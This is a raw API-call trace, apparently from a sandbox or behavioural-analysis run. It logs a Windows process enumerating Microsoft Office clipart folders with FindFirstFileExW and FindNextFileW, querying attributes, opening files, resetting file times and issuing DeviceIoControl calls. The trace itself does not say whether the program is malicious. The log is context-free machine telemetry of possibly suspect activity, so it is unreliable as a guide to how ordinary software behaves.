lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01183_.WMF", cAlternateFileName="")) returned 1 [0068.215] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9936cb00, ftCreationTime.dwHighDateTime=0x1bd4c0e, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9936cb00, ftLastWriteTime.dwHighDateTime=0x1bd4c0e, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01186_.WMF", cAlternateFileName="")) returned 1 [0068.215] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4fe9900, ftCreationTime.dwHighDateTime=0x1c7a766, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4fe9900, ftLastWriteTime.dwHighDateTime=0x1c7a766, nFileSizeHigh=0x0, nFileSizeLow=0x6e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01366_.WMF", cAlternateFileName="")) returned 1 [0068.215] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81594a00, ftCreationTime.dwHighDateTime=0x1bd4c02, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81594a00, ftLastWriteTime.dwHighDateTime=0x1bd4c02, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01434_.WMF", cAlternateFileName="")) returned 1 [0068.215] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55829800, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x55829800, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x9dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01585_.WMF", cAlternateFileName="")) returned 1 [0068.215] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bf93000, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4bf93000, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x914, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01586_.WMF", cAlternateFileName="")) returned 1 [0068.215] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf28f0200, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf28f0200, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0x4a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01628_.WMF", cAlternateFileName="")) returned 1 [0068.215] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa241400, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaa241400, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01629_.WMF", cAlternateFileName="")) returned 1 [0068.215] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef951100, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xef951100, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0x128, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01630_.WMF", cAlternateFileName="")) returned 1 [0068.215] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8660ce00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8660ce00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01631_.WMF", cAlternateFileName="")) returned 1 [0068.215] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1034, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01761_.WMF", cAlternateFileName="")) returned 1 [0068.215] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01772_.WMF", cAlternateFileName="")) returned 1 [0068.215] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01793_.WMF", cAlternateFileName="")) returned 1 [0068.215] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51e3fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1815, dwReserved0=0x0, dwReserved1=0x0, cFileName="EAST_01.MID", cAlternateFileName="")) returned 1 [0068.216] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd787d00, ftCreationTime.dwHighDateTime=0x1bd4ae1, ftLastAccessTime.dwLowDateTime=0x51f4a830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd787d00, ftLastWriteTime.dwHighDateTime=0x1bd4ae1, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00010_.WMF", cAlternateFileName="")) returned 1 [0068.216] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a81c00, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x51f4a830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2a81c00, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x32f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00019_.WMF", cAlternateFileName="")) returned 1 [0068.216] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc465ee00, ftCreationTime.dwHighDateTime=0x1bd4bff, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc465ee00, ftLastWriteTime.dwHighDateTime=0x1bd4bff, nFileSizeHigh=0x0, nFileSizeLow=0xa8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00172_.WMF", cAlternateFileName="")) returned 1 [0068.216] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95cb3000, ftCreationTime.dwHighDateTime=0x1bd4c5e, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95cb3000, ftLastWriteTime.dwHighDateTime=0x1bd4c5e, nFileSizeHigh=0x0, nFileSizeLow=0x1b2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00184_.WMF", cAlternateFileName="")) returned 1 [0068.216] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d81900, ftCreationTime.dwHighDateTime=0x1bd4b37, ftLastAccessTime.dwLowDateTime=0x609299b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27d81900, ftLastWriteTime.dwHighDateTime=0x1bd4b37, nFileSizeHigh=0x0, nFileSizeLow=0x3670, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00006_.WMF", cAlternateFileName="")) returned 1 [0068.216] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.268] GetLastError () returned 0x12 [0068.268] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d0a0 [0068.268] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0068.268] GetLastError () returned 0x12 [0068.269] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5830) returned 1 [0068.269] FindClose (in: hFindFile=0x60d0a0 | out: hFindFile=0x60d0a0) returned 1 [0068.271] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd57a8) returned 1 [0068.271] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.271] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0068.311] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0068.311] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0x1029d60 [0068.311] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1029d60, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1029d60, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0068.311] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1029d60) returned 1 [0068.311] NtClose (Handle=0x17c) returned 0x0 [0068.311] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.311] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.311] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd57a8 [0068.311] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5830 [0068.312] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d0a0 [0068.312] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.312] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Backgrounds", cAlternateFileName="")) returned 1 [0068.312] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Backgrounds", cAlternateFileName="")) returned 0 [0068.312] GetLastError () returned 0x12 [0068.312] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d1a0 [0068.312] FindClose (in: hFindFile=0x60d0a0 | out: hFindFile=0x60d0a0) returned 1 [0068.312] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.312] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Backgrounds", cAlternateFileName="")) returned 1 [0068.312] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.312] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0068.312] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0068.312] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0x1029d60 [0068.313] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1029d60, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1029d60, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0068.313] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1029d60) returned 1 [0068.313] NtClose (Handle=0x17c) returned 0x0 [0068.313] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.313] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.313] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1029320 [0068.313] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83a78 [0068.313] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.313] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd24f8 [0068.313] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d0a0 [0068.357] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.357] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f046d00, ftCreationTime.dwHighDateTime=0x1bd9a89, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f046d00, ftLastWriteTime.dwHighDateTime=0x1bd9a89, nFileSizeHigh=0x0, nFileSizeLow=0xf77, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143743.GIF", cAlternateFileName="")) returned 1 [0068.357] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.357] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.357] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.357] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.357] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.357] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd2600 [0068.358] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1029320) returned 1 [0068.358] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x10088a8 [0068.358] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd2708 [0068.358] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.358] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4ed3400, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4ed3400, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143744.GIF", cAlternateFileName="")) returned 1 [0068.358] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.358] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.358] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.358] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.358] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.358] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x10088c8 [0068.358] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd3050 [0068.358] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.358] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac144200, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac144200, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x2dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143745.GIF", cAlternateFileName="")) returned 1 [0068.358] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.358] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.358] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.358] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.358] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.358] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x10088e8 [0068.358] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd3260 [0068.358] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.359] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77a08600, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77a08600, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x595, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143746.GIF", cAlternateFileName="")) returned 1 [0068.359] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.359] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.359] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.359] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.359] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.359] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1008908 [0068.359] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd3158 [0068.359] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.359] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4cbfb00, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4cbfb00, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x11d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143748.GIF", cAlternateFileName="")) returned 1 [0068.359] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.359] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.359] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.359] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 